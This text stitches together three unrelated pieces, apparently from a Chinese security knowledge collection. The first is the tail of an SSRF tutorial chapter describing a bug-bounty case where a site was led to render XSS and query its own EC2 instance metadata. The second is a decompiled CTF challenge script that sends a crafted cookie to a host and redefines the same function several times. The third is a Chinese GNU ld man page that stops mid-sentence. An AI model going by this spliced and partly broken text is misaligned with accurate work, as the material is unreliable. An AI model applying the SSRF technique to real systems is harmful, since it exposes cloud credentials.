现在,这里你可以尝试执行 XSS 载荷,像他描述的那样。只需创建一个带有 JavaScript 的简单 HTML 页面,让站点渲染它,就这么简单。但是它更进了一步。使用来自 Ben Sadeghipour 的输入(在我的 YouTUbe 频道和 Polyvore RCE 的 Hacking Pro Tips Interview #1 中提到过),它测试了 AWS EC2 实例元数据的查询。
EC2 是 Amazon 的弹性计算云。它们提供了查询自身的功能,通过它们的 IP,来拉取关于实例的元数据。权限很明显限制为实例自身,但是由于 Brett 能够控制服务器从哪里加载内容,它能够使其调用自身并拉取元数据。
EC2 的文档在这里:`http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2instance-metadata.html`。这里是一些你可以抓取的敏感信息。
> 重要结论
> Google Dorking 是一个不错的工具,它能在发现所有类型的可能利用时,节省你的时间。如果你正在寻找 SSRF 漏洞,要留意任何在远程内容中拉取的目标 URL。这里,它的标志是`url=`。
> 其次,不要仅限于你的第一想法。Brett 完全能够报告 XSS 载荷,但是这不太深入。通过深入挖掘,它就能发现漏洞的真正价值。但是这样做的时候,要小心不要越界。
## 总结
服务端请求伪造在服务器可悲利用来代表攻击者执行请求时出现。但是,并不是所有请求最终都能利用。例如,由于站点允许你提供图片的 URL,但它会复制并在自己站点上使用(就像上面的 ESEA 示例),并不意味站点存在漏洞。发现它们只是第一步,随后你需要确认它们的潜能。对于 ESEA,虽然站点寻找图片文件,它并不验证收到的东西,并且可以用于渲染恶意 XSS,以及对自己的 EC2 元数据执行 HTTP 请求。
|
sec-knowleage
|
# uncompyle6 version 2.11.5
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34)
# [GCC 7.3.0]
# Embedded file name: oceanOfSockets.py
import requests
import httplib
import sys
if len(sys.argv) < 2:
sys.exit(0)
host = sys.argv[1]
port = sys.argv[2]
def request1():
r = requests.get('http://{}/tmctf.html:{}'.format(host, port))
for data in r.iter_content():
if 'OceanOfSockets' not in data:
r = requests.get('http://{}/index.html:{}'.format(host, port), headers={'content-type': 'text/html','user-agent': 'Edge/12'})
else:
break
def request2():
r = requests.get('http://{}/tmctf.html:{}'.format(host, port))
for data in r.iter_content():
if 'OceanOfSockets' not in data:
r = requests.get('http://{}/index.html:{}'.format(host, port), headers={'content-type': 'text/html','user-agent': 'Edge/12'})
else:
break
def request3():
r = requests.get('http://{}/tmctf.html:{}'.format(host, port))
for data in r.iter_content():
if 'OceanOfSockets' not in data:
r = requests.get('http://{}/index.html:{}'.format(host, port), headers={'content-type': 'text/html','user-agent': 'Edge/12'})
else:
break
def request3():
r = requests.get('http://{}/tmctf.html:{}'.format(host, port))
for data in r.iter_content():
if 'OceanOfSockets' not in data:
r = requests.get('http://{}/index.html:{}'.format(host, port), headers={'content-type': 'text/html','user-agent': 'Edge/12'})
else:
break
def request3():
r = requests.get('http://{}/tmctf.html:{}'.format(host, port))
for data in r.iter_content():
if 'OceanOfSockets' not in data:
r = requests.get('http://{}/index.html:{}'.format(host, port), headers={'content-type': 'text/html','user-agent': 'Edge/12'})
else:
break
def request3():
r = requests.get('http://{}/tmctf.html:{}'.format(host, port))
for data in r.iter_content():
if 'OceanOfSockets' not in data:
r = requests.get('http://{}/index.html:{}'.format(host, port), headers={'content-type': 'text/html','user-agent': 'Edge/12'})
else:
break
def request3():
r = requests.get('http://{}/tmctf.html:{}'.format(host, port))
for data in r.iter_content():
if 'OceanOfSockets' not in data:
r = requests.get('http://{}/index.html:{}'.format(host, port), headers={'content-type': 'text/html','user-agent': 'Edge/12'})
else:
break
def request():
try:
connection = httplib.HTTPConnection(sys.argv[1], sys.argv[2])
connection.request('GET', '/tmctf.html')
resTMCF = connection.getresponse()
readData = resTMCF.read()
if 'OceanOfSockets' in readData:
headers = {'User-Agent': 'Mozilla Firefox, Edge/12','Content-type': 'text/html','Cookie': '%|r%uL5bbA0F?5bC0E9b0_4b2?N'}
connection.request('GET', '/index.html', '', headers)
else:
sys.exit(0)
except:
pass
if __name__ == '__main__':
request()
|
sec-knowleage
|
.\" Copyright (c) 1991, 92, 93, 94, 95, 96, 97, 98, 1999 Free Software Foundation
.\" See section COPYING for conditions for redistribution
.TH ld 1 "17 August 1992" "cygnus support" "GNU Development Tools"
.de BP
.sp
.ti \-.2i
\(**
..
.SH NAME
ld \- GNU linker (连接器)
.SH "总览 (SYNOPSIS)"
.hy 0
.na
.TP
.B ld
.RB "[\|" \-o "
.I output\c
\&\|] \c
.I objfile\c
\&.\|.\|.
.br
.RB "[\|" \-A\c
.I architecture\c
\&\|]
.RB "[\|" "\-b\ "\c
.I input-format\c
\&\|]
.RB "[\|" \-Bstatic "\|]"
.RB "[\|" \-Bdynamic "\|]"
.RB "[\|" \-Bsymbolic "\|]"
.RB "[\|" "\-c\ "\c
.I commandfile\c
\&\|]
.RB "[\|" \-\-cref "\|]"
.RB "[\|" \-d | \-dc | \-dp\c
\|]
.br
.RB "[\|" "\-defsym\ "\c
.I symbol\c
\& = \c
.I expression\c
\&\|]
.RB "[\|" \-\-demangle "\|]"
.RB "[\|" \-\-no\-demangle "\|]"
.RB "[\|" "\-e\ "\c
.I entry\c
\&\|]
.RB "[\|" \-embedded\-relocs "\|]"
.RB "[\|" \-E "\|]"
.RB "[\|" \-export\-dynamic "\|]"
.RB "[\|" "\-f\ "\c
.I name\c
\&\|]
.RB "[\|" "\-\-auxiliary\ "\c
.I name\c
\&\|]
.RB "[\|" "\-F\ "\c
.I name\c
\&\|]
.RB "[\|" "\-\-filter\ "\c
.I name\c
\&\|]
.RB "[\|" "\-format\ "\c
.I input-format\c
\&\|]
.RB "[\|" \-g "\|]"
.RB "[\|" \-G
.I size\c
\&\|]
.RB "[\|" "\-h\ "\c
.I name\c
\&\|]
.RB "[\|" "\-soname\ "\c
.I name\c
\&\|]
.RB "[\|" \-\-help "\|]"
.RB "[\|" \-i "\|]"
.RB "[\|" \-l\c
.I ar\c
\&\|]
.RB "[\|" \-L\c
.I searchdir\c
\&\|]
.RB "[\|" \-M "\|]"
.RB "[\|" \-Map
.I mapfile\c
\&\|]
.RB "[\|" \-m
.I emulation\c
\&\|]
.RB "[\|" \-n | \-N "\|]"
.RB "[\|" \-noinhibit-exec "\|]"
.RB "[\|" \-no\-keep\-memory "\|]"
.RB "[\|" \-no\-warn\-mismatch "\|]"
.RB "[\|" \-O\c
.I level\c
\&\|]
.RB "[\|" "\-oformat\ "\c
.I output-format\c
\&\|]
.RB "[\|" "\-R\ "\c
.I filename\c
\&\|]
.RB "[\|" \-relax "\|]"
.RB "[\|" \-r | \-Ur "\|]"
.RB "[\|" "\-rpath\ "\c
.I directory\c
\&\|]
.RB "[\|" "\-rpath\-link\ "\c
.I directory\c
\&\|]
.RB "[\|" \-S "\|]"
.RB "[\|" \-s "\|]"
.RB "[\|" \-shared "\|]"
.RB "[\|" \-sort\-common "\|]"
.RB "[\|" "\-split\-by\-reloc\ "\c
.I count\c
\&\|]
.RB "[\|" \-split\-by\-file "\|]"
.RB "[\|" "\-T\ "\c
.I commandfile\c
\&\|]
.RB "[\|" "\-Ttext\ "\c
.I textorg\c
\&\|]
.RB "[\|" "\-Tdata\ "\c
.I dataorg\c
\&\|]
.RB "[\|" "\-Tbss\ "\c
.I bssorg\c
\&\|]
.RB "[\|" \-t "\|]"
.RB "[\|" "\-u\ "\c
.I sym\c
\&]
.RB "[\|" \-V "\|]"
.RB "[\|" \-v "\|]"
.RB "[\|" \-\-verbose "\|]"
.RB "[\|" \-\-version "\|]"
.RB "[\|" \-warn\-common "\|]"
.RB "[\|" \-warn\-constructors "\|]"
.RB "[\|" \-warn\-multiple\-gp "\|]"
.RB "[\|" \-warn\-once "\|]"
.RB "[\|" \-warn\-section\-align "\|]"
.RB "[\|" \-\-whole\-archive "\|]"
.RB "[\|" \-\-no\-whole\-archive "\|]"
.RB "[\|" "\-\-wrap\ "\c
.I symbol\c
\&\|]
.RB "[\|" \-X "\|]"
.RB "[\|" \-x "\|]"
.ad b
.hy 1
.SH "描述 (DESCRIPTION)"
\c
.B ld\c
\& 合并 一组 目标文件(object) 和 库文件(archive), 重定位 数据部分,
构建 符号引用(symbol reference). 一般说来, 编译 生成 可执行文件 的
最后步骤 就是 调用 \c
.B ld\c
\&.
\c
.B ld\c
\& 可以读取 用 连接器命令语言(Linker Command Language) 编写的 脚本文件,
它 能够 对 连接过程 提供 精确 和 全面 的 控制.
本 手册页 不讨论 命令语言; 可参看 `\|\c
.B info\c
\|' 的 `\|\c
.B ld\c
\|' 项, 或者 手册
.I
ld: the GNU linker
\&, 里面有 命令语言 的 细节 和 其他 GNU linker 的 内容.
这个版本 的 \c
.B ld\c
\& 使用 通用BFD库 操作 目标文件, \c
.B ld\c
\& 能够 以 多种格式 读入, 连接 和 输出 目标文件 \(em\&例如 COFF 或 \c
.B a.out\c
\&, 能够 把 不同的格式 连接 在一起, 产生 各种 有效 的 目标文件.
用 `\|\c
.B objdump \-i\c
\|' 可以 列出 各种 体系结构 支持 的 格式 列表; 另见
.BR objdump ( 1 ).
GNU linker 不仅 灵活 强大, 还能够 比 其他 linker 提供 更多 的 诊断信息.
很多 linker 只要 碰上 一个错误 就 立刻停止 执行; 而
\c
.B ld\c
\& 一有可能 仍然 继续执行, 这样 容易 定位出 其他错误
(某些情况下, 尽管出了错, 仍然 生成 输出文件).
GNU linker \c
.B ld\c
\& 期望 实现 更广泛 的 适用范围, 尽可能 兼容 其他 linker.
通过 命令行 和 环境变量, 用户 可以 用 ld 执行 多种 操作.
.SH "选项 (OPTIONS)"
过于丰富的 命令行选项 使人 感到 压抑, 好在 实际使用 中, 多数情况下
只需要 掌握 其中 一小部分. 例如, 在 一个 标准的, 提供 相应支持 的 Unix
系统 中, 常常 用 \c
.B ld\c
\& 连接 标准的 Unix 目标文件. 如果要 连接 \c
.B hello.o\c
\&:
.sp
.br
$\ ld\ \-o\ output\ /lib/crt0.o\ hello.o\ \-lc
.br
.sp
它 告诉 \c
.B ld\c
\& 生成 一个 叫做 \c
.B output\c
\& 的 文件 , 其中 连接了 文件 \c
.B /lib/crt0.o\c
\& 和 \c
.B hello.o\c
\& 以及
库文件 \c
.B libc.a\c
\& (在 标准搜索目录下).
\c
.B ld\c
\& 的 命令行选项 可以 任意顺序 出现, 甚至 重复出现. 多数 情况 下,
如果 用 不同的 参数 重复 同一种 选项, ld 不会 出现 更多的变化, 也不会
覆盖 以前的 参数. (指 命令行 中 左边的参数)
例外情况 \(em\& 某些选项 有 反复使用 的 需要 \(em\& 如
\c
.B \-A\c
\&, \c
.B \-b\c
\& (或等同的 \c
.B \-format\c
\&), \c
.B \-defsym\c
\&,
\c
.B \-L\c
\&, \c
.B \-l\c
\&, \c
.B \-R\c
\&, 和 \c
.B \-u\c
\&.
待连接的 目标文件 列表, 即 总览中的 \c
.I objfile\c
\&,
可以 放在 命令行选项 的 前面, 后面, 或者 混杂其中; 但是 不能 把 \c
.I objfile\c
\& 放置于 某个 选项开关 和 它的参数 中间.
一般说来 linker 要求 至少 输入 一个 目标文件, 但是 可以 用 \c
.B \-l\c
\&,
\c
.B \-R\c
\& 输入 其他格式 的 二进制文件, 或者 用 命令语言 编写的 脚本文件. 如果 \c
.I 没有\c
\& 指定 二进制格式 的 输入文件, linker 就不能 产生 输出文件, 而是 显示
`\|\c
.B No input files\c
\|'.
选项的参数 必须 出现在 代表 选项 的 字母 后面, 可以有 空白符, 也可以 没有.
.TP
.BI "-A" "architecture"
在 目前版本 的 \c
.B ld\c
\& 中, 这个 选项 仅适用于 Intel 960 体系系列. 在 \c
.B ld\c
\& 的 设置 中, \c
.I architecture\c
\& 参数 是 960 系列 的 成员 识别名称 之一, 由 两个字母 组成;
这个选项 指出 期望的 输出目标, 对 输入文件 的 不兼容指令 作出 警告.
它 能够 改变 linker 对 库文件 的 搜索策略, 以便于 支持 体系相关库, 方法是
把 体系识别名称 添加在 待搜索 的 文件名 尾部.
例如, 如果 \c
.B ld\c
\& 命令行 有 `\|\c
.B \-ACA\c
\|' 和 `\|\c
.B \-ltry\c
\|', linker 将 搜索 (根据 内置的路径 和 \c
.B \-L\c
\& 指定的路径) 以下 名称 的 库文件
.sp
.br
try
.br
libtry.a
.br
tryca
.br
libtryca.a
.br
.sp
前两项 是 常规做法; 后两项 源于 `\|\c
.B \-ACA\c
\|'.
将来发布的 \c
.B ld\c
\& 可能 对 其他 体系结构 提供 类似功能.
可以 在 命令行上 使用 多个 \c
.B \-A\c
\& 选项, 只要 该 体系 允许 和 目标体系 相连, 其选项 使 ld 在 搜索 \c
.B \-l
指定的库 中, 增加 和 体系结构名称 对应的库.
.TP
.BI "\-b " "input-format"
指定 输入目标文件 的 二进制格式, 目标文件 在 命令行 上 给出, 放在
这个选项 的 后面. 一般 不需要 指定 这个选项, \c
.B ld\c
\& 的 缺省输入格式 配置为 各个机器 上 最常用 的 格式. \c
.I input-format\c
\& 是 字符串, BFD 库 支持的 格式 名称. 选项 \c
.B \-format \c
.I input-format\c
\&\c
\& 起 相同的 作用, 脚本命令
.BR TARGET
也是 一样.
连接 某些 不寻常的 二进制文件 时 需要 这个选项. 或者 使用 \c
.B \-b\c
\& 选项 强调 格式切换 (连接 不同格式 的 目标文件),
比如说, 在 每组 特定格式 的 目标文件 前面 使用 \c
.B \-b \c
.I input-format\c
\&\c
\& 选项.
环境变量
.B GNUTARGET\c
\& 用于 指定 缺省格式. 也可以 在 脚本文件 中 用 \c
.B TARGET\c
\& 命令 定义 输入格式.
.TP
.B \-Bstatic
禁止 连接 共享库. 这个选项 只在 支持 共享库 的 平台 上 有意义.
.TP
.B \-Bdynamic
连接 动态库. 这个选项 只在 支持 共享库 的 平台 上 有意义, 一般说来 它
是 缺省选项.
.TP
.B \-Bsymbolic
当 创建 共享库 的 时候, 只要 有可能, 在 共享库 内 编联(bind reference)
全局符号 和 定义(definition). 一般说来, 允许 连接了 某个 共享库 的 程序
覆盖 共享库内 的 定义. 这个选项 只在 支持 共享库 的 ELF 平台 上 有意义.
.TP
.BI "\-c " "commandfile"
告诉 \c
.B ld\c
\& 从 文件
\c
.I commandfile\c
\& 中 读取 连接 命令. 这些 命令 彻底的 覆盖 \c
.B ld\c
\& 的 缺省 连接 格式 (而不是 添加); \c
.I commandfile\c
\& 必须 详尽的 描述 目标格式 的 所有细节.
你 也可以 在 命令行 上 直接嵌入 连接命令, 把 脚本 嵌在 大括弧 `\|\c
.B {\c
\|' 和 `\|\c
.B }\c
\|' 中间.
.TP
.B \-\-cref
输出 交叉引用表(cross reference). 如果 创建了 连接映像(linker map) 文件,
交叉引用表 就 输出到 映像文件 中, 否则 送往 标准输出.
.TP
.B \-d
.TP
.B \-dc
.TP
.B \-dp
这 三个选项 是 一回事, 为了 兼容 其他 linker 而 同时提供.
即使 已经 指定 \c
.B ld
生成 可重定位文件 (\c
.B \-r\c
\&), 它们 能为 公共符号(common symbol) 分配 空间. 脚本命令
\c
.B FORCE_COMMON_ALLOCATION\c
\& 起 同样作用.
.TP
.BI "-defsym " "symbol" "\fR = \fP" expression
在 输出文件 中 创建 一个 全局符号, 它 含有 \c
.I expression\c
\& 给出的 绝对地址. 可以 在 命令行 使用 多个 这样的 选项. 这个 \c
.I expression\c
\& 只能 使用 有限的 数学形式: 十六进制常数, 已经存在 的 符号名字.
或者 使用 \c
.B +\c
\& 和 \c
.B \-\c
\& 加减 十六进制常数 或 符号. 如果 需要 更复杂的 表达式, 考虑 使用
命令语言脚本.
.TP
.B \-\-demangle
.TP
.B \-\-no\-demangle
这些选项 控制 是否在 出错信息 和 其他信息 中, 输出 可读的(demangle)
符号名称. 如果 使用了 demangle 选项, linker 尽量使 符号名称 容易理解:
去掉 领头的 下划线 (如果 被 目标文件格式 采用); 把 C++ 难懂的 符号名称
(symbol name) 转换成 可读的 名称. 缺省情况下 linker 输出 可读的 符号名称,
除非 设置了 环境变量
.B COLLECT_NO_DEMANGLE .
这些选项 能够 覆盖 缺省行为.
.TP
.BI "-e " "entry"
使用 \c
.I entry (入口)\c
\& 标识符 作为 程序 执行 的 开始端, 而不是 缺省入口. 关于 缺省入口 和 其他
设置 入口 的 方法 参见 `\|\c
.B info\c
\|' 的
.B ld\c
\|' 项.
.TP
.B \-embedded\-relocs
这个选项 仅用于 连接 MIPS上 嵌入的 PIC 代码, GNU 的 编译器 和 汇编器 用
.B \-membedded\-pic
选项 能够 生成 这种代码. 它使 linker 创建 一张 表格, 用于 在 运行的时候,
重定位 任何 被 静态初始化 为 指针值 的 数据. 详见 testsuite/ld-empic 的 代码.
.TP
.B \-E
.TP
.B \-export\-dynamic
当 创建 ELF 文件 时, 把 所有 符号 加入 动态符号表.
一般说来, 动态符号表 只包含 动态目标库(dynamic object) 需要的 符号. 用
.I dlopen
的 时候 需要 这个 选项.
.TP
.BI "-f " "name"
.TP
.BI "--auxiliary " "name"
创建 ELF 共享目标库 时, 把 内部的 DT_AUXILIARY 字段 设置为
.I name.
它 告诉 动态linker, 把 该 共享目标库 的 符号表 用做 共享目标
.I name
的 符号表 的 辅助过滤器.
.TP
.BI "-F " "name"
.TP
.BI "--filter " "name"
创建 ELF 共享目标库 时, 把 内部的 DT_FILTER 字段 设置为
.I name.
它 告诉 动态linker, 把 该 共享目标库 的 符号表 用做 共享目标
.I name
的 符号表 的 辅助过滤器.
.TP
.BI "\-format " "input\-format"
等同于 \c
.B \-b\c
\& \c
.I input\-format\c
\&.
.TP
.B \-g
虚设项; 用于 兼容 其他 工具.
.TP
.BI "\-G " "size"\c
把 使用 GP 寄存器 优化的 目标(文件) 大小 限制为
.I size .
用于 MIPS ECOFF, 对 其他 目标文件格式 无效.
.TP
.BI "-h " "name"
.TP
.BI "-soname " "name"
创建 ELF 共享目标库 时, 把 内部的 DT_SONAME 字段 设置为 name.
如果 某个 可执行文件 连接了 含有 DT_SONAME 字段 的 共享目标库,
当 该程序 运行 时, 动态 linker 试图 根据 DT_SONAME 字段 调入 共享的
目标库, 而 不使用 提供给 linker 的 文件名.
.TP
.B \-\-help
在 标准输出 显示 命令行选项 的 摘要, 然后 结束. 这个选项 和
.B \-\-version
选项 使用了 两个 短横线, 不是 一个, 目的是 兼容 其他 GNU 程序.
只用 一个 短横线 的 选项 是为了 兼容 其他 linker.
.TP
.B \-i
执行 增量连接(incremental link), 等同于 \c
.B \-r\c
\& 选项.
.TP
.BI "\-l" "ar"
在 连接文件 列表 中 增加 归档库文件 \c
.I ar\c
\&. 可以 多次 使用 这个选项. 凡指定 一项 \c
.I ar
\&, \c
.B ld\c
\& 就会 在 路径列表 中 增加 一项 对 \c
.B lib\c
.I ar\c
\&.a\c
\& 的 搜索.
.TP
.BI "\-L" "searchdir"
这个选项 将 路径 \c
.I searchdir\c
\& 添加 到 路径列表 中去, \c
.B ld\c
\& 在 这个 列表 中 搜索 归档库. 可以 多次 使用 这个选项.
缺省的 搜索路径集 (不使用 \c
.B \-L\c
\& 时) 取决于 \c
.B ld\c
\& 使用的 模拟模式(emulation) 及其 配置.
在 连接脚本 中, 可以 用 \c
.B SEARCH_DIR
命令 指定 路径.
.TP
.B \-M
在 标准输出 显示 连接映像 \(em\& 有关 \c
.B ld\c
\& 把 符号 映射到 何处 的 诊断信息, 以及 全局公共存储器 的 分配 信息.
.TP
.BI "\-Map " "mapfile"\c
把 连接映像 输出到
.I mapfile
文件 中 \(em\& 有关 \c
.B ld\c
\& 把 符号 映射到 何处 的 诊断信息, 以及 全局公共存储器 的 分配 信息.
.TP
.BI "\-m " "emulation"\c
模仿
.I emulation
连接器. 可以 用
.I \-\-verbose
或
.I \-V
选项 列出 有效的 模拟项. 这个选项 覆盖 编译 进去 的 缺省项.
.TP
.B \-N
指定 可读写 的 \c
.B 正文\c
\& 和 \c
.B 数据\c
\& 节(section). 如果 输出格式 支持 Unix 风格的 幻数(magic number),
则 输出文件 标记为 \c
.B OMAGIC\c
\&.
当 使用 `\|\c
.B \-N\c
\&\|' 选项 时, linker 不做 数据段 的 页对齐(page-align).
.TP
.B \-n
设置 正文段 为 只读, 如果 有可能, \c
.B NMAGIC\c
\& 为 可写.
.TP
.B \-noinhibit\-exec
一般说来, 如果 连接的 时候 发生 错误, linker 不会 产生 输出文件.
使用了 这个 标志选项, 只要 不出 致命差错, 仍能够 产生 输出文件.
.TP
.B \-no\-keep\-memory
linker 通常 牺牲 内存, 优化 速度, 它 把 输入文件 的 符号表 缓冲在 内存中.
这个选项 使 linker 必要时 重复读取 符号表, 以便 优化 内存使用. 连接 大型
可执行文件 的 时候, linker 有可能 内存 不够, 此时 可以 试试 这个选项.
.TP
.B \-no\-warn\-mismatch
一般情况下, 如果 试图 连接 某些 不匹配 的 输入文件, 比如说, 按 不同
处理器 编译 的, 或者 具有 不同的 字节顺序(endianness), linker 就会 报错.
这个选项 告诉 linker 默许 这种 错误. 要 小心使用 这个选项, 除非 你
正在做 某些 特殊 操作, 而且 能够 确定 不需要 linker 报错.
.TP
.BI "\-o " "output"
.I output\c
\& 用来 指定 \c
.B ld\c
\& 生成的 程序名; 如果 没有 使用 这个选项, 缺省名字 是 `\|\c
.B a.out\c
\|'. 脚本命令 \c
.B OUTPUT\c
\& 起 同样 作用.
.TP
.BI "\-O" "level"
生成 优化的 输出文件. 这个选项 占用 比较多 的 时间, 因此 仅 常用于
最终文件 的 生成.
\c
.I level\c
\& 是 数值参数. 任何 大于零 的 参数 意味着 要求 优化.
.TP
.BI "\-oformat " "output\-format"
指定 输出目标文件 的 二进制格式. 一般 不需要 指定 这个选项, \c
.B ld\c
\& 的 缺省 输出格式 配置为 各个机器 上 最常用 的 格式. \c
.I output-format\c
\& 是 一个 字符串, BFD 库 支持的 格式 名称. 脚本命令
.B OUTPUT_FORMAT
也可以 指定 输出格式, 但是 这个选项 能够 覆盖 掉 它.
.TP
.BI "\-R " "filename"
从 文件 \c
.I filename\c
\& 中 读取 符号名称 及其 地址, 但是 不做 重定位, 不传送到 输出端.
它 可以 使 输出文件 符号引用 其他程序中 定义的 绝对地址.
.TP
.B \-relax
这个选项 的 效果 取决于 机器, 目前 只支持 H8/300.
在 某些 平台 上 可以 使用 这个选项 做 全局优化, 它 让 linker 解决 程序中
的 地址处理, 例如 在 输出目标文件 中 缓和(relax) 地址模式 以及 合成
(synthesize) 新指令.
其他平台 也接受 `\|\c
.B \-relax\c
\&\|' 选项, 但是 不起作用.
.TP
.B \-r
生成 可重定位 输出 \(em\& 就是说, 生成的 输出文件 能够 依次 成为 \c
.B ld\c
\& 的 输入, 一般 称之为 \c
.I 不完全(partial)
连接\c
\&. 它 有 一个 副效应, 在 支持 标准 Unix 幻数(magic number) 的 环境 中,
这个选项 把 输出文件 的 幻数 设置成 \c
.B OMAGIC\c
\&. 如果 没有 指定 这个选项, linker 生成 绝对定位 的 文件.
连接 C++ 程序时, 这个选项 \c
.I 不会 \c
\& 解析 出 对 构造子(constructor) 的 引用(reference); 不妨 改用 \c
.B \-Ur\c
\& 选项.
这个选项 的 效果 和 \c
.B \-i\c
\& 一样.
.TP
.B \-rpath\ \fIdirectory
增加 一条 对 运行时(runtime)库 的 搜索路径. 这个选项 用于 连接 ELF 可执行
文件 和 共享目标库. 所有
.B \-rpath
选项 的 参数 被 合并, 然后 一起 传递 给 运行时 linker, 运行时 linker 在
运行 的 时候 使用 这些 路径 寻找 共享目标库.
.B \-rpath
也可以 用来 定位 共享目标库 引用的 共享目标库; 参见 对
.B \-rpath\-link
选项 的 叙述. 如果 连接 ELF 可执行文件 时 没有 指定
.B \-rpath
选项, linker 就使用 环境变量
.B LD_RUN_PATH
的 内容 \(em\& 只要 这个 环境变量 存在.
.B \-rpath
选项 能够 用在 SunOS 上, 缺省状况下, linker 可以 根据 给出的
.B \-L
选项 形成 运行时 搜索路径. 如果 使用了
.B \-rpath
选项, 运行时 搜索路径 从
.B \-rpath
中 产生, 而 忽略
.B \-L
选项. 这一点 有利于 使用 gcc, 在 NFS 文件系统 上, gcc 可能 产生 许多
.B \-L
选项.
.TP
.B \-rpath\-link\ \fIdirectory
使用 ELF 或 SunOS 的 时候, 某些 共享库 可能 需要 其他 共享库.
这种情况 一般 发生在 某个
.B ld\ \-shared
连接 中, 输入文件 包含了 共享库.
如果 linker 遇到 这样的 依赖情况, 当 它 执行 非共享, 不可重定位 的 连接
时, linker 将 自动 寻找 所需的 共享库, 如果 它们 没有 被 显明 包含, 就
把 它们 包含到 连接 中. 在 这种情况下,
.B \-rpath\-link
选项 指定了 最先 搜索 的 目录集.
.B \-rpath\-link
能够 指定 一批 目录, 目录 用 冒号 隔开. 也可以 用 这些 目录名 作为 参数,
重复 使用 这个 选项.
如果 没有 找到 需要的 共享库, linker 产生 一个 警告, 但是 继续 连接.
.TP
.B \-S
去掉 输出文件 中的 调试符号信息 (但不是 所有符号).
.TP
.B \-s
去掉 输出文件 中的 全部 符号信息.
.TP
.B \-shared
创建 一个 共享库. 目前 只支持 ELF 和 SunOS 平台 (在 SunOS 上, 这个选项 不是
必须的, 如果 没有 使用
.B \-e
选项, 而且 存在 不确定 的 符号, linker 将 自动 创建 共享库).
.TP
.B \-sort\-common
.B ld
通常 把 全局公共符号 放到 适当的 输出节, 按照 大小 排序.
首先是 单字节符号, 然后是 双字节, 接下来是 四字节, 随后是 其他的.
它的 目的是 防止 符号间 因为 排布限制 出现 间隙.
使用 这个选项 可以 禁止 排序.
.TP
.B \-split\-by\-reloc\ \fIcount
在 输出文件 中 创建 附加节(extra section), 使得 输出文件 中,
没有 某一个 输出节 包含 大于
.I count
个 重定位项. 它 用于 产生 大型 可重定位 COFF 目标文件, 可以 插入到
某些 实时内核 中; 因为 COFF 不能 在 单一节内 存放 65535 以上的 重定位项.
注意, 有些 目标文件格式 不支持 任意 分节, 此时 这个选项 将会 操作 失败.
此外, linker 不能够 分割 输入节, 然后 重新分配, 因此 如果 某个 输入节 包含
.I count
以上的 重定位项, 相应的 输出节 将 包含 同样多的 重定位项.
.TP
.B \-split\-by\-file
类似于
.B \-split\-by\-reloc ,
但是 它为 每个 输入文件 建立一个 新的 输出节.
.TP
.BI "\-Tbss " "org"\c
.TP
.BI "\-Tdata " "org"\c
.TP
.BI "\-Ttext " "org"\c
把 \c
.I org\c
\& 作为 输出文件 的 段 起始地址 \(em\& 特别是 \(em\& \c
.B bss\c
\&, \c
.B data\c
\&, 或 \c
.B text\c
\& 段.
\c
.I org\c
\& 必须是 十六进制整数.
.TP
.BI "\-T " "commandfile"
等同于 \c
.B \-c \c
.I commandfile\c
\&\c
\&; 用于 兼容 其他工具.
.TP
.B \-t
在 \c
.B ld\c
\& 处理 输入文件 的 时候 显示 文件名.
.TP
.BI "\-u " "sym"
把 \c
.I sym\c
\& 作为 未定义(undefined) 的 符号 送入 输出文件.
这样做 可以, 例如, 促使 linker 从 标准库 连接 某个 附加的模块.
允许 使用 多个 \c
.B \-u\c
\& 选项 输入 多个 未定义 符号.
.TP
.B \-Ur
对于 除 C++ 以外的 任何 程序, 这个选项 等同于
\c
.B \-r\c
\&: 生成 可重定位 的 输出 \(em\& 就是说, 能够 依次 输入 \c
.B ld\c
\& 的 输出文件. 连接 C++ 程序 的 时候, \c
.B \-Ur
.I 将\c
\& 解析 对 构造子(constructor) 的 引用(reference), 这一点 和 \c
.B \-r\c
\& 不同.
.TP
.B \-\-verbose
显示 \c
.B ld
的 版本号, 列出 支持的 模拟项(emulation). 显示 哪些 输入文件 能够 打开,
哪些 不能,
.TP
.B \-v, \-V
显示 \c
.B ld\c
\& 的 版本号.
此外
.B \-V
选项 能够 列出 支持的 模拟项.
.TP
.B \-\-version
显示 \c
.B ld
的 版本号 然后 结束.
.TP
.B \-warn\-common
当 公共符号 和 其他 公共符号 合并 时, 或者 和 某个 符号定义 合并 时,
linker 就发出 警告. Unix 系统的 linker 允许 这种 有些 草率 的 做法, 其他
操作系统 则 不行. 这个选项 帮助你 在 合并 全局符号 的 时候 发现 潜在问题.
.TP
.B \-warn\-constructors
如果 使用了 全局构造子(global constructor), linker 就发出 警告.
它 只对 某些 目标文件结构 有用, 对于 如 COFF 或 ELF, 此 linker 不能够
检测 全局构造子 的 使用情况.
.TP
.B \-warn\-multiple\-gp
如果 输出文件 需要 多个 全局指针值, linker 就发出 警告. 这个选项 只能
用于 某些 处理器, 如 Alpha.
.TP
.B \-warn\-once
对 每个 未定义符号 只 警告 一次, 而不是 每次 引用 这个符号 都 警告.
.TP
.B \-warn\-section\-align
如果 某个 输出节(section) 的 地址 因为 边界对齐 而 发生 改变,
linker 就发出 警告. 典型情况下 由 输入节 设置 边界, 只有 不做 明确指定
的 时候 地址 才会 改变; 就是说, SECTIONS 命令 没有 指出 该节 的 开始地址.
.TP
.B \-\-whole\-archive
对于 命令行 上
.B \-\-whole\-archive
选项 提到的 每个 归档库, 连接时 连入 归档库 的 全部 目标文件, 而不是
在 归档库 中 搜索 所需的 目标文件. 一般用于 把 归档库文件 转变成 共享库文件,
迫使 全部 目标文件 进入 共享库.
.TP
.B \-\-no\-whole\-archive
关闭
.B \-\-whole\-archive
选项 对 归档库 的 影响.
.TP
.BI "--wrap " "symbol"
对
.I symbol
使用 包装函数(wrapper function). 任何 对
.I symbol
未定义 的 引用 (undefined reference) 将 解析为
.BI "__wrap_" "symbol".
任何 对
.BI "__real_" "symbol"
未定义 的 引用 将 解析为
.I symbol.
.TP
.B \-X
删除 全部 临时的 局部符号. 大多数 目的文件 中, 这些 局部符号 的 名字 用 `\|\c
.B L\c
\|' 做 开头.
.TP
.B \-x
删除 全部 局部符号.
.PP
.SH "环境 (ENVIRONMENT)"
\c
通过 环境变量 \c
.B GNUTARGET\c
\& 可以 改变
.B ld\c
\& 的 行为.
\c
如果 没有 使用 \c
.B \-b\c
\& 选项 (或 相同的 \c
.B \-format\c
\&),
.B GNUTARGET\c
